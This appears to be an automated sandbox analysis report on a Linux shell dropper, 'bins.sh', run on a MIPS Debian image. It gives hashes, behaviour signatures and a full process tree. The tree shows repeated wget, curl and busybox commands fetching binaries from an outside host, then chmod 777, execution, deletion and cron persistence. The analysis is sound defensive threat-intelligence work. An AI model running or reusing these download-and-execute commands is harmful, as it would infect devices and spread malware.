Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 09:02

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    375c37669d1e33187f248b2924f88b06

  • SHA1

    b87d3b7340980dccd1db199139b87ca05ff4538d

  • SHA256

    8edc5e775a8be2836fa1d7f0f6e1ec16462e36605ec295579a4a2e7d49a2c3ce

  • SHA512

    3df30a93cd241f6a3aa15c0dfc0d7147edb6c17ba0e4d29617e0493def0a74cdd9f568714ba96a55f5a3b9583d1e71b09b6b1fbf46cda234f86ac77dd7af1721

  • SSDEEP

    96:YmWLLj/5LvDCL99fS6SySoH7+LvnjpO+2QMuU1V0ddNG2wnLeOMlFZKCVtL99nLc:kJCYTFuGr61

Malware Config

Signatures

  • Contacts a large (1506) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 39 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:719
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          ./JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Executes dropped EXE
          PID:730
        • /bin/rm
          rm JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            ./h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:752
            • /bin/chmod
              chmod 777 MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • File and Directory Permissions Modification
              PID:755
            • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              ./MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Executes dropped EXE
              PID:757
            • /bin/rm
              rm MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
                PID:763
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:764
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:772
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:782
              • /bin/chmod
                chmod 777 mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • File and Directory Permissions Modification
                PID:787
              • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                ./mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Executes dropped EXE
                PID:789
              • /bin/rm
                rm mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                  PID:791
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:792
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:804
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:808
                • /bin/chmod
                  chmod 777 EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • File and Directory Permissions Modification
                  PID:809
                • /tmp/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  ./EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:810
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:812
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:813
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:814
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:815
                      • /bin/rm
                        rm EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                        2⤵
                          PID:817
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                          2⤵
                          • System Network Configuration Discovery
                          PID:863
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                          2⤵
                          • System Network Configuration Discovery
                          PID:905
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                          2⤵
                          • System Network Configuration Discovery
                          PID:910
                        • /bin/chmod
                          chmod 777 xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                          2⤵
                          • File and Directory Permissions Modification
                          PID:912
                        • /tmp/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                          ./xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                          2⤵
                            PID:913
                          • /bin/rm
                            rm xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                            2⤵
                              PID:914
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/GFQ1dybEfFm0uL9A3MDzDBPcrfJLLZiZdv
                              2⤵
                              • System Network Configuration Discovery
                              PID:915
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/GFQ1dybEfFm0uL9A3MDzDBPcrfJLLZiZdv
                              2⤵
                              • System Network Configuration Discovery
                              PID:916
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/GFQ1dybEfFm0uL9A3MDzDBPcrfJLLZiZdv
                              2⤵
                              • System Network Configuration Discovery
                              PID:917
                            • /bin/chmod
                              chmod 777 GFQ1dybEfFm0uL9A3MDzDBPcrfJLLZiZdv
                              2⤵
                              • File and Directory Permissions Modification
                              PID:918
                            • /tmp/GFQ1dybEfFm0uL9A3MDzDBPcrfJLLZiZdv
                              ./GFQ1dybEfFm0uL9A3MDzDBPcrfJLLZiZdv
                              2⤵
                                PID:919
                              • /bin/rm
                                rm GFQ1dybEfFm0uL9A3MDzDBPcrfJLLZiZdv
                                2⤵
                                  PID:920
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/QMLLqDAZRn2bAIPlU2Fs5nyBVVoRXgGtEk
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:922
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/QMLLqDAZRn2bAIPlU2Fs5nyBVVoRXgGtEk
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:923
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/QMLLqDAZRn2bAIPlU2Fs5nyBVVoRXgGtEk
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:924
                                • /bin/chmod
                                  chmod 777 QMLLqDAZRn2bAIPlU2Fs5nyBVVoRXgGtEk
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:925
                                • /tmp/QMLLqDAZRn2bAIPlU2Fs5nyBVVoRXgGtEk
                                  ./QMLLqDAZRn2bAIPlU2Fs5nyBVVoRXgGtEk
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:926
                                • /bin/rm
                                  rm QMLLqDAZRn2bAIPlU2Fs5nyBVVoRXgGtEk
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:927
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/krEKe22mKdYznWJbXu8VVHx6k72KOvFhCL
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:933
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/krEKe22mKdYznWJbXu8VVHx6k72KOvFhCL
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:934
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/krEKe22mKdYznWJbXu8VVHx6k72KOvFhCL
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:939
                                • /bin/chmod
                                  chmod 777 krEKe22mKdYznWJbXu8VVHx6k72KOvFhCL
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:940
                                • /tmp/krEKe22mKdYznWJbXu8VVHx6k72KOvFhCL
                                  ./krEKe22mKdYznWJbXu8VVHx6k72KOvFhCL
                                  2⤵
                                    PID:947
                                  • /bin/rm
                                    rm krEKe22mKdYznWJbXu8VVHx6k72KOvFhCL
                                    2⤵
                                      PID:948
                                    • /usr/bin/wget
                                      wget http://conn.masjesu.zip/bins/a33DJv93iCw5EASBQ47CV60MKqV6oMMCqG
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:955
                                    • /usr/bin/curl
                                      curl -O http://conn.masjesu.zip/bins/a33DJv93iCw5EASBQ47CV60MKqV6oMMCqG
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:956
                                    • /bin/busybox
                                      /bin/busybox wget http://conn.masjesu.zip/bins/a33DJv93iCw5EASBQ47CV60MKqV6oMMCqG
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:959
                                    • /bin/chmod
                                      chmod 777 a33DJv93iCw5EASBQ47CV60MKqV6oMMCqG
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:965
                                    • /tmp/a33DJv93iCw5EASBQ47CV60MKqV6oMMCqG
                                      ./a33DJv93iCw5EASBQ47CV60MKqV6oMMCqG
                                      2⤵
                                        PID:967
                                      • /bin/rm
                                        rm a33DJv93iCw5EASBQ47CV60MKqV6oMMCqG
                                        2⤵
                                          PID:969
                                        • /usr/bin/wget
                                          wget http://conn.masjesu.zip/bins/nVxKclY3yiYaWgN9LKj6Ybbq3gsHqdIW5h
                                          2⤵
                                          • System Network Configuration Discovery
                                          PID:972
                                        • /usr/bin/curl
                                          curl -O http://conn.masjesu.zip/bins/nVxKclY3yiYaWgN9LKj6Ybbq3gsHqdIW5h
                                          2⤵
                                          • System Network Configuration Discovery
                                          PID:978
                                        • /bin/busybox
                                          /bin/busybox wget http://conn.masjesu.zip/bins/nVxKclY3yiYaWgN9LKj6Ybbq3gsHqdIW5h
                                          2⤵
                                          • System Network Configuration Discovery
                                          PID:980
                                        • /bin/chmod
                                          chmod 777 nVxKclY3yiYaWgN9LKj6Ybbq3gsHqdIW5h
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:982
                                        • /tmp/nVxKclY3yiYaWgN9LKj6Ybbq3gsHqdIW5h
                                          ./nVxKclY3yiYaWgN9LKj6Ybbq3gsHqdIW5h
                                          2⤵
                                            PID:984
                                          • /bin/rm
                                            rm nVxKclY3yiYaWgN9LKj6Ybbq3gsHqdIW5h
                                            2⤵
                                              PID:986
                                            • /usr/bin/wget
                                              wget http://conn.masjesu.zip/bins/T6h3ULHhBNNGCD4s6ZiDqcEcWorVvnFDut
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:988
                                            • /usr/bin/curl
                                              curl -O http://conn.masjesu.zip/bins/T6h3ULHhBNNGCD4s6ZiDqcEcWorVvnFDut
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:991
                                            • /bin/busybox
                                              /bin/busybox wget http://conn.masjesu.zip/bins/T6h3ULHhBNNGCD4s6ZiDqcEcWorVvnFDut
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:992
                                            • /bin/chmod
                                              chmod 777 T6h3ULHhBNNGCD4s6ZiDqcEcWorVvnFDut
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:995
                                            • /tmp/T6h3ULHhBNNGCD4s6ZiDqcEcWorVvnFDut
                                              ./T6h3ULHhBNNGCD4s6ZiDqcEcWorVvnFDut
                                              2⤵
                                                PID:997
                                              • /bin/rm
                                                rm T6h3ULHhBNNGCD4s6ZiDqcEcWorVvnFDut
                                                2⤵
                                                  PID:1003
                                                • /usr/bin/wget
                                                  wget http://conn.masjesu.zip/bins/IwlhuOIJSO2MVxy2cMyt7PbIBkcwhRwOi2
                                                  2⤵
                                                  • System Network Configuration Discovery
                                                  PID:1004

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • /tmp/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt

                                                Filesize

                                                151KB

                                                MD5

                                                6c583043d91c55aa470c08c87058e917

                                                SHA1

                                                abf65a5b9bba69980278ad09356e53de8bb89439

                                                SHA256

                                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                SHA512

                                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                              • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt

                                                Filesize

                                                177KB

                                                MD5

                                                786d75a158fe731feca3880f436082c0

                                                SHA1

                                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                SHA256

                                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                SHA512

                                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                              • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF

                                                Filesize

                                                127KB

                                                MD5

                                                89077b7bd4bcafca7713be43635c4862

                                                SHA1

                                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                                SHA256

                                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                SHA512

                                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                              • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE

                                                Filesize

                                                119KB

                                                MD5

                                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                                SHA1

                                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                SHA256

                                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                SHA512

                                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                              • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW

                                                Filesize

                                                151KB

                                                MD5

                                                3c90d5820bddcf7c5d1bd21dfa49d958

                                                SHA1

                                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                SHA256

                                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                SHA512

                                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                              • /var/spool/cron/crontabs/tmp.Gzvr83

                                                Filesize

                                                210B

                                                MD5

                                                714d7bf69595ccbbfc9e0ff54dd3ebc6

                                                SHA1

                                                131c55e1bd6cf4bfa424a87ce6f3489f0936824e

                                                SHA256

                                                adb88d70e1f3b17d3deb88d95738733045c950038952f9df2e842c4860de816c

                                                SHA512

                                                1c780a7a2589620eca392977d04572959105832c675c2334039e59ed87de522a6d8c5f44806599400f646af630ca5d1f066f4d0329438c9e19292c7e238b112a